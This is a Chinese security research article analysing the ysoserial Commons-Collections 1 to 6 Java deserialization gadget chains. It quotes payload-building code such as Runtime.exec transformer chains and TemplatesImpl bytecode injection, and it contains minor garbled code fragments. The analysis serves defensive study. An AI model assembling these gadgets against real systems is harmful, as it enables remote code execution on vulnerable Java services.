作者:Seaer@深信服千里目安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/sraJ2K9R2CkLHiCcPK0wrA
Commons-Collections1
首先構造transformers反射鏈,調用ChainedTransformer方法封裝transformers數組,串聯三次反射。
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs)
};
final Transformer transformerChain = new ChainedTransformer(transformers);
InvokerTransformer sink點解析:
首先跟蹤base sink點 InvokerTransformer#transform方法,以及InvokerTransformer構造方法。在InvokerTransformer#transform(Object input)方法中調用了invoke方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
invoke方法存在三個輸入點,分別是method對象,input和this.iArgs兩個形參。其中input作為transform的傳入參數(此參數是否可控取決于transform方法被調用時,傳入參數是否可控)。this.iArgs是可以通過調用InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)構造方法進行賦值。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
method對象可以通過調用cls.getMethod(this.iMethodName, this.iParamTypes)獲取,其中getMethod方法的兩個形參,也均可以通過調用上述的InvokerTransformer構造方法進行賦值。此時的method方法可以是任意類中的任意方法對象。
此時,如果可以控制transform方法的傳入參數,就可以通過invoke方法,調用任意類中的任意方法。
目前存在的問題:
(1)如果可以找到滿足條件的transform方法,也僅僅可以調用一次反射。然而構造一個可以執行任意命令的惡意Runtime對象,需要調用三次反射。
(2)如何控制控制InvokerTransformer#transform方法的傳入參數。
針對問題1,工具作者找到了ChainedTransformer類。
通過調用ChainedTransformer構造函數,生成Transformer數組對象。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
且調用ChainedTransformer#transform方法,可以依次調用Transformer數組中的Transformer對象,因此完成transform三次反射方法的串聯。
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
針對問題2,工具作者找到了ConstantTransformer類,通過調用ConstantTransformer構造方法,可以為iConstant屬性賦值
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
由于ConstantTransformer繼承Transformer接口,同樣也可以裝載到Transformer數組中,調用transform方法。
ConstantTransformer#transform(Object input)方法會返回之前可控的iConstant屬性,進而控制InvokerTransformer#transform方法的傳入參數
此時調用裝載四個transform對象的ChainedTransformer#transform方法時,則會觸發反射,效果等價于下述代碼。
Class clazz = Runtime.class;
Object obj1 = clazz.getClass().getMethod("getMethod", new Class[]{"getRuntime".getClass(), new Class[0].getClass()}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
Object obj2 = obj1.getClass().getMethod("invoke", new Class[]{new Object().getClass(), new Object[0].getClass()}).invoke(obj1, new Object[]{null, new Object[0]});
Object obj3 = obj2.getClass().getMethod("exec", new Class[]{new String[]{"calc"}.getClass()}).invoke(obj2, new Object[]{new String[]{"calc"}});
此時sink點梳理完畢,接下來需要找到一個可以調用到ChainedTransformer#transform方法的source。
工具作者找到了LazyMap類來調用transform方法。當調用LazyMap#get方法時,則會調用this.factory.transform(key)方法。
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
而其中的this.factory對象,可以通過調用decorate(Map map, Transformer factory)方法,進而調用LazyMap(Map map, Factory factory)構造方法進行控制
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
此時,僅需找到調用LazyMap#get(Object key)方法的入口,即可完成上述利用鏈的構造。
接下來作者找到了sun.reflect.annotation.AnnotationInvocationHandler
入口類,在sun.reflect.annotation.AnnotationInvocationHandler#invoke方法中,調用了this.memberValues.get(var4)方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
且在AnnotationInvocationHandler構造方法中,可以為this.memberValues屬性賦值。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
且AnnotationInvocationHandler繼承Serializable,可以反序列化,跟蹤一下反序列化入口的readObject方法。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
在readObject方法里調用this.memberValues.entrySet().iterator()方法,其中this.memberValues可以通過調用AnnotationInvocationHandler構造方法,賦值為LazyMap對象,且LazyMap對象被創建動態代理類,代理接口為Map.class,當調用Map.class類中的方法時,將會調用AnnotationInvocationHandler#invoke方法。entrySet方法是Map.class中的方法,因此會進入AnnotationInvocationHandler#invoke方法中,并調用this.memberValues.get(var4)方法,其中this.memberValues是LazyMap,因此完成了sink點的串聯,完成整個gadget的構造。
Commons-Collections2
首先分析sink點,作者調用了自定義方法Gadgets.createTemplatesImpl生成TemplatesImpl對象。具體跟蹤一下生成過程。
首先進入到Gadgets#createTemplatesImpl方法中。
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
在類中重載createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class)方法,并傳入cmd惡意命令和org.apache.xalan.xsltc.trax.TemplatesImpl.class、org.apache.xalan.xsltc.runtime.AbstractTranslet.class、org.apache.xalan.xsltc.trax.TransformerFactoryImpl.class。重點跟蹤一下cmd是如何被注入在利用鏈中。
``
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
結合Javasist庫的相關方法,分析createTemplatesImpl方法:
ClassPool pool = ClassPool.getDefault(); //創建一個ClassPool實例化對象,ClassPool是一個存放著代表class文件的CtClass類容器
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); //將StubTransletPayload.class的路徑加到類搜索路徑中。(通常通過該方法寫入額外的類搜索路徑,以解決多個類加載器環境中找不到類的問題)
pool.insertClassPath(new ClassClassPath(abstTranslet)); //同理,將org.apache.xalan.xsltc.runtime.AbstractTranslet.class的路徑加到類搜索路徑中。
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); //獲取StubTransletPayload的CtClass對象,用于后續的編輯。
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; //聲明cmd屬性對象,并注入傳入的command參數。
clazz.makeClassInitializer().insertAfter(cmd); //clazz.makeClassInitializer() -> 新增靜態代碼塊。
//insertAfter() -> 插入代碼。
//此段代碼是將cmd變量中的代碼,注入到StubTransletPayload類中的靜態代碼塊中。
clazz.setName("ysoserial.Pwner" + System.nanoTime()); //修改類名(暫不清楚具體作用是什么)
CtClass superC = pool.get(abstTranslet.getName()); //獲取org.apache.xalan.xsltc.runtime.AbstractTranslet對象(StubTransletPayload繼承于org.apache.xalan.xsltc.runtime.AbstractTranslet)
clazz.setSuperclass(superC); //將org.apache.xalan.xsltc.runtime.AbstractTranslet設置為StubTransletPayload的父類。
final byte[] classBytes = clazz.toBytecode(); 將StubTransletPayload對象轉換成byte數組。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)}); //通過反射將StubTransletPayload對象的byte流賦值給_bytecodes屬性中。
Reflections.setFieldValue(templates, "_name", "Pwnr"); //反射賦值
總結上述流程,通過利用Javasist庫,將惡意代碼注入到自定義的StubTransletPayload類中,并將StubTransletPayload類轉換成byte數組,通過反射賦值給org.apache.xalan.xsltc.trax.TemplatesImpl類中的bytecodes屬性,最終返回TemplatesImpl對象。
此時,當實例化org.apache.xalan.xsltc.trax.TemplatesImpl類中的_bytecodes屬性中的類,即可觸發惡意代碼執行。作者找到了TemplatesImpl#newTransformer方法加載_bytecodes中的byte字節流。
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
重點跟進分析調用的getTransletInstance方法。
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
首先調用defineTransletClasses()方法加載_bytecodes。
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
class[i] = loader.defineClass(bytecodes[i]) 將bytecodes屬性中的惡意字節流,賦值給TemplatesImpl#class屬性中。
回到getTransletInstance方法中,調用class[transletIndex].newInstance()方法,實例化_class字節流里的類,從而觸發惡意代碼。
現在,需要找到一個可以調用TemplatesImpl#newTransformer方法的方式。回想一下CommonsCollections1中的可以調用任意方法的InvokerTransformer#transform(object input)方法。
將TemplatesImpl對象作為transform方法的傳入參數
將newTransformer賦值給InvokerTransformer#iMethodName
找到一個可以調用InvokerTransformer#transform(object input)方法的方式
滿足上述三個條件,即可實現TemplatesImpl#newTransformer方法。
其中第二個條件可以通過反射來解決,重點在于找到一個可以滿足條件一和條件三的source。這里工具作者找到了java.util.PriorityQueue作為入口類。從反序列化入口PriorityQueue#readObject方法進行分析。
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
調用heapify()方法。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
調用siftDown(i, (E) queue[i])方法。
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
這里存在一個判斷邏輯,判斷條件是PriorityQueue#comparator是否為空,執行siftDownUsingComparator方法。
進入siftDownUsingComparator方法中。
printf("hello worprivate void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
通過調用siftDownUsingComparator方法,可以調用任意實現java.util.Comparator接口的類的compare方法。
此時,我們需要找到一個實現java.util.Comparator接口,并且在compare方法中調用InvokerTransformer#transform方法的類。工具作者找到了org.apache.commons.collections4.comparators.TransformingComparator類。
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
通過調用TransformingComparator(Transformer<? super I, ? extends O> transformer)構造方法,可以為this.transformer賦值。
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
通過org.apache.commons.collections4.comparators.TransformingComparator類,滿足了條件一(將TemplatesImpl對象作為transform方法的傳入參數)和條件三(找到一個可以調用InvokerTransformer#transform(object input)方法的方式)。至此完成整個利用鏈的構建。
Commons-Collections3
CommonsCollections3的source與CommonsCollections1的source相同,都是以sun.reflect.annotation.AnnotationInvocationHandler作為入口,通過創建Map動態代理類,通過調用sun.reflect.annotation.AnnotationInvocationHandler的invoke方法,從而調用LazyMap#get方法,控制實現Transformer接口下的任意類中的transform方法。
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
return handler;
CommonsCollections3的sink點構造思路則是和CommonsCollections2中的base sink點(將惡意字節流注入到org.apache.xalan.xsltc.trax.TemplatesImpl類中的_bytecodes屬性,等待調用TemplatesImpl#newTransformer方法) 。
Object templatesImpl = Gadgets.createTemplatesImpl(command);
CommonsCollections3的不同之處在于,Gadget作者找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter類。在TrAXFilter(Templates templates)構造方法中,調用了templates.newTransformer()方法。
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
僅需找到可以調用TrAXFilter(惡意Templates對象)方法即可。Gadget作者找到了InstantiateTransformer#transform(object input)方法,通過調用此方法實現TrAXFilter構造方法的調用。
inal Transformer transformerChain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } )
}
);
與InvokerTransformer#transform方類似,InstantiateTransformer#transform(object input)方法會調用傳入的object對象的構造方法。
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
如果transform方法的傳入參數input可控,且iParamTypes(傳入對象的構造方法)與iArgs(構造方法的傳入參數)可控,即可調用任意類的構造方法。
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
通過調用InstantiateTransformer構造方法可以實現對iParamTypes和iArgs參數的控制。目前的目標是調用TrAXFilter(惡意Templates對象)構造方法,通過構造上文提到的ChainedTransformer反射鏈,完成如下效果:
TrAXFilter.getConstructor(Templates.class).newInstance(惡意Templates對象)
從而實現裝載惡意Templates對象的TrAXFilter對象調用構造方法,實現惡意Templates對象的newTransformer調用。從而完成利用鏈的構造。
Commons-Collections4
CommonsCollections4的利用鏈構造是結合CommonsCollections2的source點(java.util.PriorityQueue)和CommonsCollections3的sink點(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)
SINK:
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
···
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
source:
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
return queue;
這里存在一個問題:為什么不能像CommonsCollections3一樣,在實例化ConstantTransformer對象時直接傳入TrAXFilter對象,以及實例化InstantiateTransformer對象時,直接傳入Templates.class和Templates對象?
由于PriorityQueue作為反序列化入口類,且裝載惡意對象的queue屬性設置了transient關鍵字,所以需要調用PriorityQueue#add方法為queue屬性賦值,而在賦值的過程中,會調用comparator.compare(x, (E) e)方法。
public boolean add(E e) {
return offer(e);
}
調用offer方法
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
調用siftUpUsingComparator方法
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
最終調用comparator.compare(x, (E) e)方法。
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
如果在調用add方法之前,調用ConstantTransformer(TrAXFilter.class)方法生成ConstantTransformer實例化對象,調用InstantiateTransformer(Templates.class, 惡意Templates對象)生成InstantiateTransformer實例化對象。在調用add方法是,會觸發TransformingComparator#compare調用鏈,依次調用ConstantTransformer#transform方法,返回TrAXFilter對象。再調用InstantiateTransformer#transform方法,調用TrAXFilter.getConstructor((Templates.class).newInstance(templates)方法,從而在序列化之前觸發了代碼執行,并且拋出異常終止程序(正常流程是在服務器上反序列化,執行代碼后拋出異常)。
因此為了避免程序在序列化之前中止,需要在調用add方法前,實例化不會拋出異常的正常ConstantTransformer實例化對象和InstantiateTransformer實例化對象。在執行add方法后,再通過反射將兩個對象中的對應屬性進行更改,完成序列化的正常運行。
CommonsCollections4的構造思路,結合CommonsCollections3的實現裝載惡意Templates對象的TrAXFilter對象調用構造方法,實現惡意Templates對象的newTransformer調用的方式,生成一個惡意ChainedTransformer對象,再結合CommonsCollections2的source,通過調用PriorityQueue的構造方法,將惡意的ChainedTransformer對象賦值給PriorityQueue#comparator屬性。
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
在PriorityQueue進行反序列化時,調用comparator.compare方法,從而調用TransformingComparator.compare,進而調用ChainedTransformer.transform方法完成sink點的調用,從而實現利用鏈的構造。
Commons-Collections5
首先構造transformers反射鏈,調用ChainedTransformer方法封裝transformers數組,串聯三次反射。
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)
};
實例化Map對象,調用LazyMap類中的decorate方法,將transformerChain對象賦值給LazyMap#factory屬性。此時調用LazyMap#get方法,且傳入的key對象不在map對象中,便可以觸發上文提到的反射鏈。
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
利用鏈作者利用TiedMapEntry類封裝LazyMap對象,并通過反序列化BadAttributeValueExpException類,控制BadAttributeValueExpException#val屬性,調用任意類中的toString()方法。
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
在TiedMapEntry#toString()方法中調用TiedMapEntry#getValue方法,從而觸發map.get(this.key)方法。
public String toString() {
return this.getKey() + "=" + this.getValue();
}
public Object getValue() {
return this.map.get(this.key);
}
至此完成整個利用鏈的構建。
Commons-Collections6
CommonsCollections6的sink鏈使用的依舊是InvokerTransformer反射接口,利用ChainedTransformer串聯三次InvokerTransformer反射和ConstantTransformer接口,獲取惡意的Runtime類。調用LazyMap.decorate方法,將惡意的ChainedTransformer賦值給LazyMap#factory,當調用LazyMap#get(Object key)方法,則會觸發惡意代碼的執行。(與CommonsCollections1、CommonsCollections5的sink點相同)
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
CommonsCollections6 gadget作者找到了TiedMapEntry類,其中在TiedMapEntry#getValue()方法中調用了this.map.get(this.key)方法。
public Object getValue() {
return this.map.get(this.key);
}
調用TiedMapEntry(Map map, Object key)構造方法,可以為TiedMapEntry#map賦值
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
在TiedMapEntry中的equals(Object obj)、hashCode()、toString()方法中都調用了TiedMapEntry#getValue()方法。這里作者選擇調用TiedMapEntry#hashCode()方法
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
此時需要尋找一個調用hashCode()方法的類,并且可以串聯反序列化入口類。這里Gadget作者找到了HashMap和HashSet。在HashMap#put方法中,調用了hash方法,進而調用了hashcode方法。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
在HashSet類的反序列化入口readObject方法中
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
在進行反序列化的過程中,實例化HashMap對象,并調用了map.put(e, PRESENT)方法。如果傳入的e參數可控,并且可以賦值惡意的TiedMapEntry對象,即可執行惡意代碼。e參數是通過調用readObject方法獲取的,所以需要找到對應的將e參數進行序列化的writeObject方法。在HashSet#writeObject方法中找到了對應方法。
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
遍歷map對象中的key值,并循環調用writeObject方法進行序列化。因此,需要將惡意的TiedMapEntry對象注入到HashMap的Key值中。HashMap的key屬性存儲在HashMap$Node類型的HashMap#table屬性中,構造反射鏈獲取key屬性。

Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
